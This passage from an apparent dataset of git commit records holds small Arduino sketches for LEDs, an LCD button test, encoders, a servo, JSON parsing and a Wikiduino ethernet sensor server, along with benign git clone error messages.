\"%s\",MODE_SEL_ERR );\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'c':\n case 'C':\n i++;\n p( \"Clear\\n\" );\n set_leds( ALL_LEDS, 0 );\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n }\n }\/\/ end of loop through macro\n \/\/p(\"led = %d\\n\", leds );\n return ok;\n}\n\nvoid unrecognized()\n{\n p( \"\\nError!\\n\" );\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/SerialLed\/serial-led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7d36856a8dfbad8aba5ee96a5a9382b492af5dad","subject":"Update if\/else statement in _ard\/_sensorTesting\/sensor.ino","message":"Update if\/else statement in _ard\/_sensorTesting\/sensor.ino\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"New World Order\/_ard\/_sensorTesting\/sensor.ino","new_file":"New World Order\/_ard\/_sensorTesting\/sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"05a59b253d7a9dbe549d081777e23a445d869bc0","subject":"fixed receiver pin\/value","message":"fixed receiver pin\/value\n","repos":"Duke-Medical-Instrumentation\/Inception","old_file":"Testing\/BluetoothTesting\/Receiver\/Receiver.ino","new_file":"Testing\/BluetoothTesting\/Receiver\/Receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/Inception.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dbda7b004fa53915903a578e013e25bf58a94c64","subject":"Create Lee's Retirement countdown clock","message":"Create Lee's Retirement countdown clock\n","repos":"dannysauer\/misc_arduino","old_file":"Lee_Retirement\/Lee_Retirement.ino","new_file":"Lee_Retirement\/Lee_Retirement.ino","new_contents":"\/*\n Testing buttons as well\n*\/\n#include <LiquidCrystal.h>\n\n\/\/ initialize the library with the numbers of the interface pins\n\/* LCD Shield mappings:\n D8, \/\/ RS\n D9, \/\/ Enable\n D4, \/\/ bit 4\n D5, \/\/ bit 5\n D6, \/\/ bit 6\n D7 \/\/ bit 7\n D10 \/\/ backlight brightness\n A0 \/\/ buttons\n So, LiquidCrystal lcd(8, 9, 4, 5, 6, 7);\n*\/\nLiquidCrystal lcd(\n 8, \/\/ RS\n 9, \/\/ Enable\n 4, \/\/ bit 4\n 5, \/\/ bit 5\n 6, \/\/ bit 6\n 7 \/\/ bit 7\n);\n\n#define PinBacklight 10\n#define PinButton 0\n\n\/\/ define some values used by the panel and buttons\nint lcd_key = 0;\nint adc_key_in = 0;\n#define btnRIGHT 0\n#define btnUP 1\n#define btnDOWN 2\n#define btnLEFT 3\n#define btnSELECT 4\n#define btnNONE 5\n\nString line1 = \"\";\nString line2 = \"\";\nString secs;\nString key;\n\n#define BrightMax 255\n#define BrightMin 0\nint brightness_increment = -2;\nint brightness = BrightMax;\n\n\/\/ read the buttons\nint read_LCD_buttons()\n{\n adc_key_in = analogRead(PinButton); \/\/ read the value from the sensor \n \/\/return adc_key_in;\n \/\/ example buttons when read are centered at these valies: 0, 144, 329, 504, 741\n \/\/ values measured in Lee's display: 0, 143, 328, 503, 741 (really close to the author's, apparently)\n \/\/ we add half the distance to the next button to allow for as much variance as is reasonably likely\n \/\/\n \/\/ I picked 1000 as the top value mostly arbitrarily; ~1024 is the select, due to being a \"short\"\n \/\/ I suppose the \"right\" way would be to do 741+(1024-741\/2) to be consistent\n if (adc_key_in > 1000) return btnNONE; \/\/ We make this the 1st option for speed reasons since it will be the most likely result\n \/\/ For V1.1 us this threshold\n if (adc_key_in < (0 + (143 - 0) \/ 2 )) return btnRIGHT; \n if (adc_key_in < (143 + (328 - 143) \/ 2 )) return btnUP; \n if (adc_key_in < (328 + (503 - 328) \/ 2 )) return btnDOWN; \n if (adc_key_in < (503 + (741 - 503) \/ 2 )) return btnLEFT; \n if (adc_key_in <= 1000) return btnSELECT; \n\n \/\/ For V1.0 comment the other threshold and use the one below:\n\/*\n if (adc_key_in < 50) return btnRIGHT; \n if (adc_key_in < 195) return btnUP; \n if (adc_key_in < 380) return btnDOWN; \n if (adc_key_in < 555) return btnLEFT; \n if (adc_key_in < 790) return btnSELECT; \n*\/\n\n return btnNONE; \/\/ when all others fail, return this...\n}\n\nvoid setup() {\n \/\/ define PWM brightness pin for output\n pinMode(PinBacklight, OUTPUT);\n \/\/ set up the LCD's number of columns and rows:\n lcd.begin(16, 2);\n lcd.clear();\n}\n\nvoid loop() {\n lcd_key = read_LCD_buttons();\n switch (lcd_key){\n case btnNONE: {\n key = \"NONE\";\n break;\n }\n case btnRIGHT: {\n key = \"RIGHT\";\n brightness += 1;\n if( brightness >= BrightMax ){\n brightness = BrightMax;\n }\n break;\n }\n case btnLEFT: {\n key = \"LEFT\";\n brightness -= 1;\n if( brightness <= BrightMin ){\n brightness = BrightMin;\n }\n break;\n }\n case btnUP: {\n key = \"UP\";\n lcd.display();\n brightness = BrightMax;\n break;\n }\n case btnDOWN: {\n key = \"DOWN\";\n brightness = BrightMin;\n lcd.noDisplay();\n break;\n }\n case btnSELECT: {\n key = \"SELECT\";\n break;\n }\n }\n analogWrite(PinBacklight, brightness);\n\n \/\/ assemble LCD line\n line1 = \"\";\n line1 = \"ADC:\" + String(adc_key_in);\n while( line1.length() < 16 - key.length() ){\n line1 = line1 + \" \";\n }\n line1 = line1 + key;\n lcd.setCursor(0,0);\n lcd.print(line1);\n\n \/\/ assemble second LCD line\n line2 = \"inc:\" + String(brightness_increment);\n secs = String(millis()\/1000);\n while( line2.length() < 16 - secs.length() ){\n line2 = line2 + \" \";\n }\n line2 = line2 + secs;\n lcd.setCursor(0,1);\n lcd.print(line2);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lee_Retirement\/Lee_Retirement.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"93d9896f961d9cf2b4fe39ae93a75bba14a21a92","subject":"Add Arduino sketch to test encoders and leds","message":"Add Arduino sketch to test encoders and leds\n","repos":"sh0w\/recoded,sh0w\/recoded,sh0w\/recoded,sh0w\/recoded","old_file":"arduino\/encoders_and_leds_test\/encoders_and_leds_test.ino","new_file":"arduino\/encoders_and_leds_test\/encoders_and_leds_test.ino","new_contents":"\/\/ Total number of input channels supported by the hardware\nconst uint8_t numChannels = 5;\nconst uint8_t ledPins[] = {2, 4, 7, 8, 12};\nconst uint8_t encoderPins[] = {5, 6, 9, 10, 11};\nunsigned long currentEncoderValues[] = {0, 0, 0, 0, 0};\nunsigned long previousEncoderValues[] = {0, 0, 0, 0, 0};\nconst unsigned long encoderValueThreshold = 2048;\n\n\/\/ Number of active parameters in the sketch\nconst uint8_t numParams = 4;\n\n\/*\n * Tests the LEDs and encoders. \n * If the encoder value is over a given threshold, the corresponding LED is lit.\n *\/\nvoid setup()\n{\n Serial.begin(57600);\n for (uint8_t i = 0; i < numChannels; i++)\n {\n pinMode(ledPins[i], OUTPUT);\n pinMode(encoderPins[i], INPUT);\n }\n}\n\nvoid loop()\n{\n for (uint8_t i = 0; i < numParams; i++)\n {\n previousEncoderValues[i] = currentEncoderValues[i];\n currentEncoderValues[i] = pulseIn(encoderPins[i], HIGH);\n\n Serial.print(currentEncoderValues[i]);\n if (i < numParams - 1)\n {\n Serial.print(\" \");\n }\n if (currentEncoderValues[i] > encoderValueThreshold)\n {\n digitalWrite(ledPins[i], HIGH);\n }\n else\n {\n digitalWrite(ledPins[i], LOW);\n }\n }\n Serial.println();\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/encoders_and_leds_test\/encoders_and_leds_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"97ac9fde8483681df80e3cadac2441cb8d9b650b","subject":"Broke out DigitalOutPin to Pin, created Channel, and added unit tests: Added new files","message":"Broke out DigitalOutPin to Pin, created Channel, and added unit tests: Added new files\n","repos":"djsegfault\/arduino,djsegfault\/arduino","old_file":"lightbright\/LightBrightLibTest\/LightBrightLibTest.ino","new_file":"lightbright\/LightBrightLibTest\/LightBrightLibTest.ino","new_contents":"#include <Pin.h>\n#include <DigitalOutPin.h>\n#include <Channel.h>\n#include <ArduinoUnit.h>\n\n#define TEST_PIN 13\n\nPin testPin1(TEST_PIN);\n\nDigitalOutPin testDOPin1(TEST_PIN);\nChannel testChannel1(testPin1);\n\ntest(PinPin)\n{\n Pin testPinL1(TEST_PIN);\n assertEqual(TEST_PIN, testPinL1.getPin());\n testPinL1.setPin(11);\n assertEqual(11, testPinL1.getPin());\n}\n\ntest(PinValue)\n{\n testPin1.off();\n testPin1.on();\n assertEqual(PIN_MAX_VALUE, testPin1.getValue());\n\n testPin1.off();\n assertEqual(PIN_MIN_VALUE, testPin1.getValue());\n\n testPin1.setValue(PIN_MAX_VALUE);\n assertEqual(PIN_MAX_VALUE, testPin1.getValue());\n\n testPin1.setValue(10);\n assertEqual(10, testPin1.getValue());\n\n testPin1.setValue(0);\n assertEqual(0, testPin1.getValue());\n}\n\ntest(PinMockMode)\n{\n testPin1.setMock(false);\n testPin1.setMock(true);\n assertEqual(true, testPin1.getMock());\n testPin1.setMock(false);\n assertEqual(false, testPin1.getMock());\n}\n\ntest(PinDebugMode)\n{\n testPin1.setDebug(false);\n testPin1.setDebug(true);\n assertEqual(true, testPin1.getDebug());\n testPin1.setDebug(false);\n assertEqual(false, testPin1.getDebug());\n}\n\ntest(DOPinOnOff)\n{\n testDOPin1.off();\n testDOPin1.on();\n assertEqual(HIGH, testDOPin1.getValue());\n testDOPin1.off();\n assertEqual(LOW, testDOPin1.getValue());\n}\n\ntest(ChannelPin)\n{\n assertEqual(TEST_PIN, testChannel1.getPin().getPin());\n}\n\ntest(ChannelLevel)\n{\n testPin1.setDebug(true);\n testChannel1.setLevel(42);\n assertEqual(42, testChannel1.getPin().getValue());\n\n testChannel1.setMasterLevel(50);\n assertEqual(21, testChannel1.getPin().getValue());\n \n testChannel1.setMasterLevel(10);\n assertEqual(4, testChannel1.getPin().getValue());\n \n testChannel1.off();\n assertEqual(0, testChannel1.getPin().getValue());\n\n testChannel1.on();\n assertEqual(10, testChannel1.getPin().getValue());\n \n testChannel1.setMasterLevel(100);\n}\n\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(testPin1.getDebug());\n\n}\n\nvoid loop()\n{\n Test::run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lightbright\/LightBrightLibTest\/LightBrightLibTest.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"b246a81eb4975be2c2c22f008c7367495e394700","subject":"changed start text","message":"changed start text\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/nirnodes\/envirobeta\/envirobeta.ino","new_file":"nduino\/nirnodes\/envirobeta\/envirobeta.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1261c153207b19277b58737380dfb82fca3ba693","subject":"Se crea proyecto de servomotor","message":"Se crea proyecto de servomotor\n","repos":"codigoelectronica\/arduino_code,codigoelectronica\/arduino_code,codigoelectronica\/arduino_code","old_file":"servomotor\/servomotor.ino","new_file":"servomotor\/servomotor.ino","new_contents":"\/\/Se llama la libreria del servo\n#include <Servo.h>\n\n\/\/Pin a conectar el servo\nint pinServo = 2;\n\n\/\/Se crea un nuevo objeto del servo\nServo servo;\n\nvoid setup() {\n \/\/Inicializamos el servo con el pin declarado\n servo.attach(pinServo);\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/Movemos el servomotor a 10\u00b0\n servo.write(30);\n delay(2000);\n \/\/Leemos la posici\u00f3n de servomotor y la mostramos\n Serial.println(servo.read());\n servo.write(90);\n delay(2000);\n Serial.println(servo.read());\n servo.write(160);\n delay(2000);\n Serial.println(servo.read());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'servomotor\/servomotor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"565608d53a18851c972be61f049f2ef62122d270","subject":"#2 Lights\/Led sample","message":"#2 Lights\/Led sample\n","repos":"ChicagoRobotics\/CRC_Simula_Library","old_file":"examples\/Example01_Lights\/Example01_Lights.ino","new_file":"examples\/Example01_Lights\/Example01_Lights.ino","new_contents":"\/***************************************************\nThis file is designed for the Simula project by Chicago Robotics Corp.\nhttp:\/\/www.chicagorobotics.net\/products\n\nCopyright (c) 2016, Chicago Robotics Corp.\nSee README.md for license details\n\n\nExample Notes:\n* There are 10 LEDs mapped into the unit. 5 Left and 5 Right LEDs.\n* Each of the 10 LEDs is a RGB LED, and is accessed by Index into the CRC_Lights module\n* L1: 0, L2: 1, L3: 2, L4: 3, L5:4\n* R1: 5, R2: 6, R3: 7, R4: 8, R5: 9\n****************************************************\/\n\n#include \"CRC_Hardware.h\"\n#include \"CRC_Lights.h\"\n\n\n\/** Start Instantiate all CRC Modules here **\/\nCRC_HardwareClass hardware;\nCRC_LightsClass crcLights(hardware.i2cPca9635Left, hardware.i2cPca9635Right);\n\/** End Instantiate all CRC Modules here **\/\n\n\/**\n * Initialize all Modules in the setup function\n *\/\nvoid setup()\n{\n hardware.init();\n crcLights.init();\n}\n\n\/**\n * Demo's various LED effects in a loop. You can comment each of these functions out to explore the specific sample behaviors\n *\/\nvoid loop()\n{ \n runwayEffects(); \n fadeInOutButton(); \n cycleLeds();\n fadeInOutLeds();\n}\n\n\/**\n * This is a special effects method with pre-defined behavior. It is typically used on startup since its a blocking method.\n *\/\nvoid runwayEffects()\n{\n crcLights.setRandomColor(); \/\/ Init runway\n crcLights.showRunwayWithDelay(); \/\/ Demo random runway lights\n}\n\n\/**\n * Fade the Top Button In\/Out\n *\/\nvoid fadeInOutButton() \n{\n uint8_t intensity = 0;\n int dir = 1; \n while(! (intensity == 0 && dir == -1) ) {\n crcLights.setButtonLevel(intensity);\n delay(10);\n if(intensity == 255 && dir== 1)\n dir = -1;\n else if (intensity == 0 && dir == -1)\n break;\n \n intensity += dir;\n }\n}\n\n\/**\n * Cycle each LED one at a time\n *\/\nvoid cycleLeds() \n{\n int delayTime=300;\n \/\/ Just rotate colors all the way through\n for(uint8_t ledId=0; ledId < 10; ledId++) {\n crcLights.setLed(ledId, 0, 0, 255);\n delay(delayTime);\n\n crcLights.setLed(ledId, 0, 255, 0);\n delay(delayTime); \n\n crcLights.setLed(ledId, 255, 0, 0);\n delay(delayTime); \n \n crcLights.setLed(ledId, 0, 255, 255);\n delay(delayTime);\n\n crcLights.setLed(ledId, 255, 255, 0);\n delay(delayTime); \n\n crcLights.setLed(ledId, 255, 255, 255);\n delay(delayTime); \n\n crcLights.setLed(ledId, 0, 0, 0);\n }\n}\n\n\n\/**\n * Fade all Leds in\/out 1 color at a time.\n *\/\nvoid fadeInOutLeds() \n{\n uint8_t intensity;\n int dir;\n\n \/\/ Fade Up\/Down Red\n intensity = 0;\n dir = 1; \n while(! (intensity == 0 && dir == -1) ) {\n for(uint8_t ledId=0; ledId < 10; ledId++) {\n crcLights.setLed(ledId, intensity, 0, 0);\n }\n if(intensity == 255 && dir== 1)\n dir = -1;\n \n intensity += dir;\n }\n\n\n\n \/\/ Fade Up\/Down Green\n intensity = 0;\n dir = 1; \n while(! (intensity == 0 && dir == -1) ) {\n for(uint8_t ledId=0; ledId < 10; ledId++) {\n crcLights.setLed(ledId, 0, intensity, 0);\n }\n if(intensity == 255 && dir== 1)\n dir = -1;\n else if (intensity == 0 && dir == -1)\n break;\n \n intensity += dir;\n }\n\n\n \/\/ Fade Up\/Down Blue\n intensity = 0;\n dir = 1; \n while(! (intensity == 0 && dir == -1) ) {\n for(uint8_t ledId=0; ledId < 10; ledId++) {\n crcLights.setLed(ledId, 0, 0, intensity);\n }\n if(intensity == 255 && dir== 1)\n dir = -1;\n else if (intensity == 0 && dir == -1)\n break;\n \n intensity += dir;\n }\n\n\n \/\/ Fade Up\/Down Red+Green\n intensity = 0;\n dir = 1; \n while(! (intensity == 0 && dir == -1) ) {\n for(uint8_t ledId=0; ledId < 10; ledId++) {\n crcLights.setLed(ledId, intensity, intensity, 0);\n }\n if(intensity == 255 && dir== 1)\n dir = -1;\n else if (intensity == 0 && dir == -1)\n break;\n \n intensity += dir;\n }\n\n\n\n \/\/ Fade Up\/Down Red+Blue\n intensity = 0;\n dir = 1; \n while(! (intensity == 0 && dir == -1) ) {\n for(uint8_t ledId=0; ledId < 10; ledId++) {\n crcLights.setLed(ledId, intensity, 0, intensity);\n }\n if(intensity == 255 && dir== 1)\n dir = -1;\n else if (intensity == 0 && dir == -1)\n break;\n \n intensity += dir;\n } \n\n\n \/\/ Fade Up\/Down Green+Blue\n intensity = 0;\n dir = 1; \n while(! (intensity == 0 && dir == -1) ) {\n for(uint8_t ledId=0; ledId < 10; ledId++) {\n crcLights.setLed(ledId, 0, intensity, intensity);\n }\n if(intensity == 255 && dir== 1)\n dir = -1;\n else if (intensity == 0 && dir == -1)\n break;\n \n intensity += dir;\n } \n\n\n \/\/ Fade Up\/Down Red+Green+Blue\n intensity = 0;\n dir = 1; \n while(! (intensity == 0 && dir == -1) ) {\n for(uint8_t ledId=0; ledId < 10; ledId++) {\n crcLights.setLed(ledId, intensity, intensity, intensity);\n }\n if(intensity == 255 && dir== 1)\n dir = -1;\n else if (intensity == 0 && dir == -1)\n break;\n \n intensity += dir;\n }\n} \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Example01_Lights\/Example01_Lights.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"95e3f2f0e3ee09678bd8131ecd87ddcbd4a74b7a","subject":"Added blink","message":"Added blink\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotRacer\/CannybotRacer.ino","new_file":"src\/rfduino\/CannybotRacer\/CannybotRacer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cbf2606370d9f54b4345a4f0a2bb264e3dffcd62","subject":"added JSON Parser test","message":"added JSON Parser test\n","repos":"simonem\/Anyboard,simonem\/Anyboard,simonem\/Anyboard,simonem\/Anyboard","old_file":"tangibles\/JSONParserTest\/JSONParserTest.ino","new_file":"tangibles\/JSONParserTest\/JSONParserTest.ino","new_contents":"\/\/ This code tests JSON parsing for the Pawn's LED functionalities\n\/\/ Code based on RFDUINO hardware\n\n#include <ArduinoJson.h>\n#include <RFduinoBLE.h>\n\nint led_green = 0;\nint led_red = 1;\nint led_blue = 2;\n\n\/\/Test JSON strings\nString OFF= \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"off\\\"}\";\nString GREEN = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"green\\\"}\";\nString RED = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"red\\\"}\";\nString BLUE = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"blue\\\"}\";\nString WHITE = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"white\\\"}\";\n\nvoid setup() {\n \/\/Serial.begin(9600); \/\/Streams debug messagges over the serial port DEFAULT: OFF\n pinMode(led_green, OUTPUT);\n pinMode(led_red, OUTPUT);\n pinMode(led_blue, OUTPUT);\n delay(500);\n}\n\nvoid loop() {\n \/\/ Iterates different JSON messages\n parseJSON(OFF);\n delay(1000);\n parseJSON(GREEN);\n delay(1000);\n parseJSON(RED);\n delay(1000);\n parseJSON(BLUE);\n delay(1000);\n parseJSON(WHITE);\n delay(1000);\n}\n\n\/\/Parses JSON messages\nvoid parseJSON(String payload) {\n char sel;\n char json[200]; \n payload.toCharArray(json, 50);\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(json);\n\n \/\/ Serial.print(\"DEBUG: \"); Serial.println(json);\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n return;\n }\n\n const char* device = root[\"device\"];\n const char* event = root[\"event\"];\n const char* color = root[\"color\"];\n\n if(strcmp(device, \"LED\") == 0)\n {\n if(strcmp(event, \"on\") == 0)\n {\n sel = color[0];\n ledON(sel);\n } \n if (strcmp(event, \"off\") == 0)\n {\n ledOFF();\n }\n }\n}\n\n\/\/ Turns the LED off\nvoid ledOFF(){\n digitalWrite(led_red, LOW);\n digitalWrite(led_green, LOW);\n digitalWrite(led_blue, LOW);\n}\n\n\/\/ Turns on the LED on a specific color: r=red, g=gree, osv..\nvoid ledON(char sel){\n switch(sel)\n {\n case 'r':\n {\n digitalWrite(led_red, HIGH);\n digitalWrite(led_green, LOW);\n digitalWrite(led_blue, LOW);\n Serial.println(\"DEBUG: LED RED ON\");\n break;\n }\n case 'g':\n {\n digitalWrite(led_red, LOW);\n digitalWrite(led_green, HIGH);\n digitalWrite(led_blue, LOW);\n Serial.println(\"DEBUG: LED GREEN ON\");\n break;\n }\n case 'b':\n {\n digitalWrite(led_red, LOW);\n digitalWrite(led_green, LOW);\n digitalWrite(led_blue, HIGH);\n Serial.println(\"DEBUG: LED BLUE ON\");\n break;\n }\n case 'w':\n {\n digitalWrite(led_red, HIGH);\n digitalWrite(led_green, HIGH);\n digitalWrite(led_blue, HIGH);\n Serial.println(\"DEBUG: LED WITHE ON\");\n break;\n } \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tangibles\/JSONParserTest\/JSONParserTest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8ce2e23cf36e61084def0bf18cdc2afc46849336","subject":"and let's try with shield again","message":"and let's try with shield again","repos":"lgramatikov\/celeste","old_file":"CelesteUIEthernet.ino","new_file":"CelesteUIEthernet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"726acb34a8187217498d82811bf10149b9b507df","subject":"move to arduino 1.0 beta 3","message":"move to arduino 1.0 beta 3","repos":"WardCunningham\/Smallest-Federated-Wiki,WardCunningham\/Smallest-Federated-Wiki,rkh\/Smallest-Federated-Wiki,rkh\/Smallest-Federated-Wiki,WardCunningham\/Smallest-Federated-Wiki,WardCunningham\/Smallest-Federated-Wiki","old_file":"Wikiduino\/Wikiduino.ino","new_file":"Wikiduino\/Wikiduino.ino","new_contents":"\n\/\/ Copyright (c) 2011, Ward Cunningham\n\/\/ Released under MIT and GPLv2\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <EthernetServer.h>\n#include <OneWire.h>\n#define num(array) (sizeof(array)\/sizeof(array[0]))\n\n\/\/ Ethernet Configuration\n\nbyte mac[] = { 0xEE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\/\/byte ip[] = { 10, 94, 54, 2 };\n\/\/byte gateway[] = { 10, 94, 54, 1 };\nIPAddress ip(10, 0, 3, 201 );\nIPAddress gateway( 10, 0, 3, 1 );\nIPAddress subnet( 255, 255, 255, 0 );\n\nEthernetServer server(1111);\nEthernetClient client(255);\n\nunsigned long requests = 0;\n\n\/\/ Sensor Configuration\n\nOneWire ds(8);\n\nint analog[2];\nstruct Temp {\n unsigned int code; \n int data;\n} temp[4] = {{0,0}};\n\nunsigned int last = 100;\nunsigned long crc_errs = 0;\n\n\/\/ Arduino Setup and Loop\n\nvoid setup() {\n Serial.begin(115200L);\n Ethernet.begin(mac, ip, gateway, subnet);\n server.begin();\n}\n\nvoid loop() {\n sample(); \/\/ every second or so\n pinMode(13,OUTPUT);\n digitalWrite(13,HIGH);\n serve(); \/\/ whenever web requests come in\n digitalWrite(13,LOW);\n}\n\n\/\/ Sample and Hold Analog and One-Wire Temperature Data\n\nvoid sample() {\n unsigned int now = millis();\n if ((now-last) >= 1000) {\n last = now;\n analogSample();\n tempSample();\n }\n}\n\nvoid analogSample() {\n for (int i = 0; i < num(analog); i++) {\n analog[i] = analogRead(i);\n }\n}\n\nbyte data[12];\nunsigned int id;\nint ch = -1;\n\nvoid tempSample() {\n finishTempSample();\n startTempSample();\n}\n\nvoid startTempSample() {\n if (ch < 0) {\n ds.reset_search();\n }\n if (!ds.search(data)) {\n ch = -1;\n } \n else {\n if (OneWire::crc8(data, 7) == data[7] && 0x28 == data[0]) {\n id = data[2]*256u+data[1];\n ch = channel (id);\n ds.reset();\n ds.select(data);\n ds.write(0x44,1); \/\/ start conversion, with parasite power on at the end\n } else {\n crc_errs++;\n Serial.print(id);\n Serial.println(F(\" a-err\"));\n }\n }\n}\n\nvoid finishTempSample() {\n if (ch >= 0) { \/\/ if we've discovered a devise and started a conversion\n ds.reset();\n ds.select(data);\n ds.write(0xBE); \/\/ Read Scratchpad\n for (int i = 0; i < 9; i++) {\n data[i] = ds.read();\n }\n if (OneWire::crc8(data, 8) == data[8]) {\n temp[ch].data = data[1]*256+data[0];\n temp[ch].code = id; \/\/ don't set this too early or we could report bad data\n } else {\n crc_errs++;\n Serial.print(id);\n Serial.println(F(\" d-err\"));\n }\n }\n}\n\nint channel(int id) {\n for (int ch=0; ch<num(temp); ch++) {\n if (temp[ch].code == id || temp[ch].code == 0) {\n return ch;\n }\n }\n return 0;\n}\n\n\/\/ Accept Web Requests for Held Data\n\nvoid serve() {\n client = server.available();\n if (client) {\n requests++;\n boolean blank = true;\n boolean slash = false;\n char code = 0;\n while (client.connected()) {\n if (client.available()) {\n char c = client.read();\n Serial.print(c);\n if (c == '\\n' && blank) {\n report(code);\n break;\n }\n if (c == '\\n') {\n blank = true;\n } \n else if (c != '\\r') {\n blank = false;\n if (slash && code == 0) {\n code = c;\n }\n slash = c == '\/';\n }\n }\n }\n client.stop();\n }\n}\n\n\/\/ Respond to Web Requests in HTML and JSON\n\nvoid report(char code) {\n if (code == ' ') {\n htmlReport();\n } else if (code == 'g') {\n jsonReport();\n } else if (code == 'f') {\n faviconReport();\n } else {\n errorReport();\n }\n}\n\nvoid p(char s) { client.print(s); }\nvoid p(__FlashStringHelper* s) { client.print(s); }\nvoid n(char s) { p(s); p(F(\"\\r\\n\")); }\nvoid n(__FlashStringHelper* s) { p(s); p(F(\"\\r\\n\")); }\nvoid a() { p(F(\"http:\/\/wiki.org\/\")); }\n\nvoid code(__FlashStringHelper* s) { p(F(\"HTTP\/1.1 \")); n(s);}\nvoid mime(__FlashStringHelper* s) { p(F(\"Content-Type: \")); n(s); n(F(\"\")); }\nvoid link(__FlashStringHelper* s) { p(F(\"<link href='\")); a(); p(s); n(F(\"' rel='stylesheet' type='text\/css'>\")); }\nvoid scpt(__FlashStringHelper* s) { p(F(\"<script src='\")); a(); p(s); n(F(\"' type='text\/javascript'><\/script>\")); }\nvoid stag(__FlashStringHelper* s) { p('<'); p(s); p('>'); }\nvoid etag(__FlashStringHelper* s) { p('<'); p('\/'); p(s); p('>'); }\n\nvoid htmlReport () {\n code(F(\"200 OK\"));\n mime(F(\"text\/html\"));\n stag(F(\"html\"));\n stag(F(\"head\"));\n link(F(\"style.css\"));\n scpt(F(\"js\/jquery.min.js\"));\n scpt(F(\"js\/jquery-ui.custom.min.js\"));\n scpt(F(\"client.js\"));\n etag(F(\"head\"));\n stag(F(\"body\"));\n p(F(\"<div class='\")); p(F(\"main\")); n(F(\"'>\"));\n p(F(\"<div class='\")); p(F(\"page\")); p(F(\"' id='\")); p(F(\"garden-report\")); p(F(\"'>\"));\n etag(F(\"div\")); \n etag(F(\"div\"));\n etag(F(\"body\"));\n etag(F(\"html\"));\n}\n\nboolean more;\n\nvoid sh () { if (more) { p(','); } p('{'); more = false; }\nvoid sa () { if (more) { p(','); } p('['); more = false; }\nvoid eh () { p('}'); more = true; }\nvoid ea () { p(']'); more = true; }\nvoid k (__FlashStringHelper* s) { if (more) { p(','); } p('\"'); p(s); p('\"'); p(':'); more = false; }\nvoid v (__FlashStringHelper* s) { if (more) { p(','); } p('\"'); 